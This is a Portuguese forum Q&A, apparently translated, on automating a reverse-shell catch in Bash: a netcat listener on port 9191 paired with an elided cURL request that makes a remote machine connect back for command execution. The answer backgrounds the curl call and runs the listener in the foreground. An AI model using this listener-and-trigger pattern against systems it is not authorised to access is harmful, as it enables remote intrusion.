Usando netcat e cURL juntos em um script Bash

Usando netcat e cURL juntos em um script Bash

Esta questão está mais relacionada ao infosec, mas não consigo encontrar uma solução alternativa para automatizar o seguinte processo:

Existe um comando cURL que aciona uma conexão com o netcat. Sem automatização, digito nc -lvnp 9191e emoutroterminal, insiro o comando cURL que estabelece uma conexão com minha máquina na porta 9191, que posso usar para executar alguns comandos em uma máquina remota.

Estou tentando algo assim no meu script Bash:

nc -lvnp 9191&
curl ......

O Netcat inicia um ouvinte, vai para segundo plano, cURL aciona a conexão (recebo a conexão de volta), mas o netcat fecha imediatamente.

$ ./shell.sh 
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.

Se eu remover nc -lvnp 9191&do script Bash e deixar apenas o comando cURL no script Bash, acontecerá o seguinte:

$ nc -lvnp 9191&
[1] 22609
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::9191
Ncat: Listening on 0.0.0.0:9191
$ ./shell.sh
Ncat: Connection from xxx.xxx.xxx.xxx.
Ncat: Connection from xxx.xxx.xxx.xxx:xxxxx.
cmd>

No entanto, assim que pressiono 'enter', o trabalho netcat é suspenso imediatamente:

[1]  + 22609 suspended (tty input)  nc -lvnp 9191

Tenho que fgretomar o trabalho do netcat e continuar trabalhando, mas queria saber se poderia de alguma forma me salvar de tudo isso.

Responder1

Então, depois de discutir o assunto com alguém, finalmente conseguimos fazê-lo funcionar. Mudamos os locais das linhas, então curlvem primeiro (mas como um trabalho em segundo plano) e depois o netcat(sem fundo). A abordagem é semelhante a esta:

(sleep 2; curl .... &>/dev/null) &
nc -lvnp 9191

informação relacionada